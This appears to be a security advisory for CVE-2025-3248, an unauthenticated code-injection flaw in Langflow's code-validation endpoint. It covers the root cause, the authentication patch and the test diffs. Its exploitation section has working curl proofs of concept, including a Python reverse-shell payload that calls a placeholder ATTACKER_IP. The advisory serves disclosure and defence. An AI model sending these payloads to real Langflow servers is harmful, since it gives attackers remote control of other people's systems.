CVE-2025-3248: Critical Code Injection Vulnerability in Langflow

Executive Summary

CVE-2025-3248 is a critical code injection vulnerability affecting Langflow versions prior to 1.3.0. This vulnerability allows a remote, unauthenticated attacker to execute arbitrary code on the server by sending crafted HTTP requests to the /api/v1/validate/code endpoint. With a CVSS score of 9.8, this vulnerability poses a significant risk, potentially leading to full system compromise.

Technical Details

  • CVE ID: CVE-2025-3248
  • Affected Software: Langflow
  • Affected Versions: Versions prior to 1.3.0
  • Vulnerability Type: Code Injection
  • Attack Vector: Remote, Unauthenticated
  • CVSS Score: 9.8 (Critical)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Affected Endpoint: /api/v1/validate/code

The vulnerability resides in the /api/v1/validate/code endpoint, which is intended for validating code snippets. Due to the absence of proper authentication and input sanitization, an attacker can inject malicious code into this endpoint, leading to arbitrary code execution on the server.

Root Cause Analysis

The root cause of CVE-2025-3248 is the lack of authentication and insufficient input validation on the /api/v1/validate/code endpoint. The endpoint directly processes user-supplied code without verifying the user's identity or sanitizing the input. This allows an attacker to inject arbitrary Python code, which is then executed by the Langflow server.

The vulnerable code snippet is located in src/backend/base/langflow/api/v1/validate.py. Prior to version 1.3.0, the post_validate_code function lacked authentication.

from fastapi import APIRouter, HTTPException
from loguru import logger

from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest
from langflow.base.prompts.api_utils import process_prompt_template
from langflow.utils.validate import validate_code

router = APIRouter(prefix="/validate")


@router.post("/code", status_code=200)
async def post_validate_code(code: Code) -> CodeValidationResponse:
    try:
        errors = validate_code(code.code)
        return CodeValidationResponse(
            **{"imports": {"errors": []}, "function": {"errors": errors}}
        )
    except Exception as e:
        logger.exception(e)
        raise HTTPException(status_code=500, detail=str(e)) from e

The post_validate_code function directly takes the code parameter from the request body and passes it to the validate_code function. The validate_code function, in turn, executes the provided code within the Langflow server's environment. Without authentication, any user can send a POST request to this endpoint with malicious code, leading to remote code execution.

Patch Analysis

The fix for CVE-2025-3248, implemented in Langflow version 1.3.0, addresses the lack of authentication on the /api/v1/validate/code endpoint. The patch introduces an authentication check to ensure that only authenticated users can access and use this endpoint.

The following diff shows the changes made to src/backend/base/langflow/api/v1/validate.py:

--- a/src/backend/base/langflow/api/v1/validate.py
+++ b/src/backend/base/langflow/api/v1/validate.py
@@ -1,6 +1,7 @@
 from fastapi import APIRouter, HTTPException
 from loguru import logger
 
+from langflow.api.utils import CurrentActiveUser
 from langflow.api.v1.base import Code, CodeValidationResponse, PromptValidationResponse, ValidatePromptRequest
 from langflow.base.prompts.api_utils import process_prompt_template
 from langflow.utils.validate import validate_code
@@ -10,7 +11,7 @@
 
 
 @router.post("/code", status_code=200)
-async def post_validate_code(code: Code) -> CodeValidationResponse:
+async def post_validate_code(code: Code, _current_user: CurrentActiveUser) -> CodeValidationResponse:
     try:
         errors = validate_code(code.code)
         return CodeValidationResponse(

This patch adds _current_user: CurrentActiveUser as a parameter to the post_validate_code function. This parameter is a dependency that enforces authentication. The CurrentActiveUser dependency checks for a valid user session and raises an exception if the user is not authenticated. This effectively prevents unauthenticated users from accessing the /api/v1/validate/code endpoint and injecting malicious code.

The following diff shows the changes made to src/backend/tests/unit/api/v1/test_validate.py:

--- a/src/backend/tests/unit/api/v1/test_validate.py
+++ b/src/backend/tests/unit/api/v1/test_validate.py
@@ -1,14 +1,16 @@
+import pytest
 from fastapi import status
 from httpx import AsyncClient
 
 
-async def test_post_validate_code(client: AsyncClient):
+@pytest.mark.usefixtures("active_user")
+async def test_post_validate_code(client: AsyncClient, logged_in_headers):
     good_code = """
 from pprint import pprint
 var = {"a": 1, "b": 2}
 pprint(var)
     """
-    response = await client.post("api/v1/validate/code", json={"code": good_code})
+    response = await client.post("api/v1/validate/code", json={"code": good_code}, headers=logged_in_headers)
     result = response.json()
 
     assert response.status_code == status.HTTP_200_OK
@@ -17,7 +19,8 @@ async def test_post_validate_code(client: AsyncClient):
     assert "function" in result, "The result must have a \'function\' key"\
 
 
-async def test_post_validate_prompt(client: AsyncClient):
+@pytest.mark.usefixtures("active_user")
+async def test_post_validate_prompt(client: AsyncClient, logged_in_headers):
     basic_case = {
         "name": "string",
         "template": "string",
@@ -48,10 +51,29 @@ async def test_post_validate_prompt(client: AsyncClient):
             "metadata": {},\
         },\
     }\
-    response = await client.post("api/v1/validate/prompt", json=basic_case)
+    response = await client.post("api/v1/validate/prompt", json=basic_case, headers=logged_in_headers)
     result = response.json()
 
     assert response.status_code == status.HTTP_200_OK
     assert isinstance(result, dict), "The result must be a dictionary"
     assert "frontend_node" in result, "The result must have a \'frontend_node\' key"
     assert "input_variables" in result, "The result must have an \'input_variables\' key"
+
+
+@pytest.mark.usefixtures("active_user")
+async def test_post_validate_prompt_with_invalid_data(client: AsyncClient, logged_in_headers):
+    invalid_case = {
+        "name": "string",
+        # Missing required fields
+        "frontend_node": {"template": {}, "is_input": True},\
+    }\
+    response = await client.post("api/v1/validate/prompt", json=invalid_case, headers=logged_in_headers)
+    assert response.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY
+
+
+async def test_post_validate_code_with_unauthenticated_user(client: AsyncClient):
+    code = """
+    print("Hello World")
+    """
+    response = await client.post("api/v1/validate/code", json={"code": code}, headers={"Authorization": "Bearer fake"})
+    assert response.status_code == status.HTTP_401_UNAUTHORIZED

The tests were updated to include logged_in_headers to simulate authenticated requests. A new test case, test_post_validate_code_with_unauthenticated_user, was added to verify that unauthenticated requests to the /api/v1/validate/code endpoint now return a 401 Unauthorized error.

The following diff shows the changes made to src/backend/tests/unit/test_endpoints.py:

--- a/src/backend/tests/unit/test_endpoints.py
+++ b/src/backend/tests/unit/test_endpoints.py
@@ -127,15 +127,16 @@ async def test_get_all(client: AsyncClient, logged_in_headers):
     assert "ChatOutput" in json_response["outputs"]
 
 
-async def test_post_validate_code(client: AsyncClient):
+@pytest.mark.usefixtures("active_user")
+async def test_post_validate_code(client: AsyncClient, logged_in_headers):
     # Test case with a valid import and function
     code1 = """
 import math
 
 def square(x):
     return x ** 2
-"""
-    response1 = await client.post("api/v1/validate/code", json={"code": code1})
+"""\
+    response1 = await client.post("api/v1/validate/code", json={"code": code1}, headers=logged_in_headers)
     assert response1.status_code == 200
     assert response1.json() == {"imports": {"errors": []}, "function": {"errors": []}}
 
@@ -146,7 +147,7 @@ def square(x):\
 def square(x):\
     return x ** 2
 """
-    response2 = await client.post("api/v1/validate/code", json={"code": code2})
+    response2 = await client.post("api/v1/validate/code", json={"code": code2}, headers=logged_in_headers)
     assert response2.status_code == 200
     assert response2.json() == {
         "imports": {"errors": ["No module named \'non_existent_module\'"]},\
@@ -160,7 +161,7 @@ def square(x):\
 def square(x)\
     return x ** 2
 """
-    response3 = await client.post("api/v1/validate/code", json={"code": code3})
+    response3 = await client.post("api/v1/validate/code", json={"code": code3}, headers=logged_in_headers)
     assert response3.status_code == 200
     assert response3.json() == {
         "imports": {"errors": []},\
@@ -169,11 +170,11 @@
     }\
 
     # Test case with invalid JSON payload
-    response4 = await client.post("api/v1/validate/code", json={"invalid_key": code1})
+    response4 = await client.post("api/v1/validate/code", json={"invalid_key": code1}, headers=logged_in_headers)
     assert response4.status_code == 422
 
     # Test case with an empty code string
-    response5 = await client.post("api/v1/validate/code", json={"code": ""})
+    response5 = await client.post("api/v1/validate/code", json={"code": ""}, headers=logged_in_headers)
     assert response5.status_code == 200
     assert response5.json() == {"imports": {"errors": []}, "function": {"errors": []}}
 
@@ -183,7 +184,7 @@ def square(x)\
 def square(x)\
     return x ** 2
 """
-    response6 = await client.post("api/v1/validate/code", json={"code": code6})
+    response6 = await client.post("api/v1/validate/code", json={"code": code6}, headers=logged_in_headers)
     assert response6.status_code == 200
     assert response6.json() == {
         "imports": {"errors": []},\

Similar to the previous test file, the tests in this file were updated to include logged_in_headers to simulate authenticated requests.

Exploitation Techniques

Prior to version 1.3.0, an attacker could exploit CVE-2025-3248 by sending a POST request to the /api/v1/validate/code endpoint with a malicious Python code payload. The server would then execute this code, granting the attacker arbitrary code execution.

Here's a proof-of-concept (PoC) example using curl:

curl -X POST -H "Content-Type: application/json" -d '{"code": "import os; os.system(\"touch /tmp/pwned\")"}' http://<langflow-server>/api/v1/validate/code

This command sends a POST request to the /api/v1/validate/code endpoint with a JSON payload containing the malicious code. The code uses the os.system function to execute the command touch /tmp/pwned on the server. If the exploit is successful, a file named pwned will be created in the /tmp directory on the Langflow server.

Another example, to achieve reverse shell:

curl -X POST -H "Content-Type: application/json" -d '{"code": "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"])"}' http://<langflow-server>/api/v1/validate/code

Replace ATTACKER_IP and ATTACKER_PORT with your attacker machine's IP address and listening port.

Attack Scenario:

  1. The attacker identifies a Langflow instance running a version prior to 1.3.0.
  2. The attacker crafts a malicious Python code payload designed to execute arbitrary commands on the server.
  3. The attacker sends a POST request to the /api/v1/validate/code endpoint with the malicious payload.
  4. The Langflow server executes the attacker's code, granting the attacker control over the server.
  5. The attacker can then use this access to steal sensitive data, modify system files, or launch further attacks.

Real-World Impacts:

  • Remote Code Execution: Attackers can execute arbitrary code on the Langflow server.
  • Full System Compromise: Gaining complete control of the affected Langflow instance is possible.
  • Data Breach: Attackers can access and steal sensitive data stored on the server.
  • Denial of Service: Attackers can disrupt services by crashing the server or modifying critical system files.
  • Supply Chain Attacks: If the Langflow instance is used in a development or deployment pipeline, attackers can use this vulnerability to compromise other systems or applications.

Mitigation Strategies

To mitigate the risk of CVE-2025-3248, the following strategies are recommended:

  1. Upgrade to Langflow 1.3.0 or later: This is the primary and most effective mitigation. Upgrading to the latest version of Langflow will patch the vulnerability and prevent attackers from exploiting it.
  2. Implement Network Segmentation: Isolate the Langflow instance from other critical systems on the network. This can limit the impact of a successful attack by preventing the attacker from moving laterally to other systems.
  3. Web Application Firewall (WAF): Deploy a WAF to filter malicious requests to the /api/v1/validate/code endpoint. The WAF can be configured to block requests containing suspicious code patterns or payloads.
  4. Regular Security Audits: Conduct regular security audits to identify and address potential vulnerabilities in the Langflow instance and its environment.
  5. Input Validation and Sanitization (Theoretical): While upgrading is the best solution, if immediate upgrade is not possible, implement strict input validation and sanitization on the /api/v1/validate/code endpoint. This involves carefully examining the code submitted by users and removing any potentially malicious code before it is executed. However, this is a complex task and may not be fully effective in preventing all attacks.

Timeline of Discovery and Disclosure

  • 2025-03-04: Patch committed to GitHub.
  • 2025-04-04: CVE ID reserved.
  • 2025-04-07: CVE-2025-3248 publicly disclosed.
  • 2025-04-07: Langflow version 1.3.0 released with the fix.
  • 2025-04-08: CISA ADP Vulnrichment updated.

References

Read more